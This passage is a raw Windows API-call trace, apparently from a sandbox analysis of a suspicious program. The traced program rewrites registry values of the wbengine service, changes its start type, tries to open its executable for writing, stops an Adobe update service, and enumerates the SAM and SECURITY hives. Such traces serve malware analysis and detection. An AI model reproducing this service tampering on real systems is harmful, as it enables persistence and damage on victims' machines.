Flags=0x8, Size=0x40) returned 0x21f47c0 [0223.355] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0223.355] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d498) returned 1 [0223.355] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0223.355] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0223.355] RegSetValueExA (in: hKey=0x148, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0223.355] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0223.355] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0223.355] RegSetValueExA (in: hKey=0x148, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0223.355] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0223.355] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.355] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0223.355] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d498 [0223.355] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0223.355] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.355] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2f8 [0223.355] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0223.355] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.356] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d598 [0223.356] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0223.356] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.356] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3b8 [0223.356] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0223.356] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.356] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0223.356] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.356] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0223.356] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0223.356] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.356] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0223.356] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0223.356] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.356] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4b8 [0223.356] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0223.356] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.356] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0223.356] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.356] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d508 [0223.356] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0223.356] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.356] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d568 [0223.356] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0223.356] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.356] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4a8 [0223.357] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0223.357] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.357] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f50 [0223.357] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.357] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5a8 [0223.357] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0223.357] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.357] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0223.448] RegSetValueExA (in: hKey=0x148, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\wbengine.exe", cbData=0x21 | out: lpData="C:\\Windows\\system32\\wbengine.exe") returned 0x0 [0223.448] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0223.448] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4778) returned 1 [0223.448] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21f3f50, cbMultiByte=32, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 32 [0223.448] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\system32\\wbengine.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f2c48*="C:\\Windows\\system32\\wbengine.exe" [0223.448] LocalFree (hMem=0x7f2c48) returned 0x0 [0223.448] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0223.448] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32\\wbengine.exe", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0223.448] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32\\wbengine.exe", cchWideChar=32, lpMultiByteStr=0x21f4778, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\system32\\wbengine.exe", lpUsedDefaultChar=0x0) returned 32 [0223.448] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0223.448] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4778) returned 1 [0223.448] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0223.448] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5a8 [0223.448] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4778 [0223.449] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0223.449] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0223.449] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d468) returned 1 [0223.449] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0223.449] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0223.449] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5b8) returned 1 [0223.449] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0223.449] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0223.449] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5b8 [0223.449] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f47c0 [0223.449] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4778) returned 1 [0223.449] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5a8) returned 1 [0223.449] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0223.449] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4778 [0223.449] RegSetValueExA (in: hKey=0x148, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\wbengine.exe", cbData=0x21 | out: lpData="C:\\Windows\\system32\\wbengine.exe") returned 0x0 [0223.449] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4778) returned 1 [0223.449] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f50) returned 1 [0223.449] OpenServiceW (hSCManager=0x803918, lpServiceName="wbengine", dwDesiredAccess=0x2) returned 0x803990 [0223.449] ChangeServiceConfigW (in: hService=0x803990, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0223.470] CloseServiceHandle (hSCObject=0x803990) returned 1 [0223.470] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.470] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d518) returned 1 [0223.470] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0223.470] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0223.470] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5b8) returned 1 [0223.470] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0223.470] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.470] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.470] RegCloseKey (hKey=0x148) returned 0x0 [0223.470] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0223.470] RegCloseKey (hKey=0x14c) returned 0x0 [0223.470] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0223.470] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0223.470] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wbengine.exe" (normalized: "c:\\windows\\system32\\wbengine.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb688d32a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb688d32a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa450000, ftLastWriteTime.dwHighDateTime=0x1cb890f, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0223.470] CreateFileW (lpFileName="C:\\Windows\\system32\\wbengine.exe" (normalized: "c:\\windows\\system32\\wbengine.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0223.471] GetLastError () returned 0x20 [0223.471] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0223.471] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0223.471] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0223.471] OpenServiceW (hSCManager=0x803918, lpServiceName="AdobeFlashPlayerUpdateSvc", dwDesiredAccess=0x20) returned 0x8038a0 [0223.472] ControlService (in: hService=0x8038a0, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0223.561] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0223.561] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0223.561] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0223.561] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0223.562] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0223.562] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0223.562] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0223.562] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0223.562] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f16e8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0223.562] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.562] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.562] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.562] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.562] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0223.562] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.562] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0223.562] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.562] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.562] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.562] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.562] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0223.562] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0223.562] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f16e8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0223.562] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.562] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.562] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.562] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.562] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0223.562] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.563] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0223.563] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.563] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.563] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.563] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.563] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0223.563] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.563] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0223.563] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.563] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.563] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.563] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.563] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0223.563] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.563] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0223.563] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.563] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.563] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.563] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.563] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0223.563] RegCloseKey (hKey=0x80000002) returned 0x0 [0223.563] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0223.563] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0223.564] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.564] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f16e8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0223.564] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.564] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.564] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.564] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.564] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0223.564] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.564] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0223.564] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.564] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1a48, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0223.564] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.564] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.564] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.564] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.564] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0223.564] 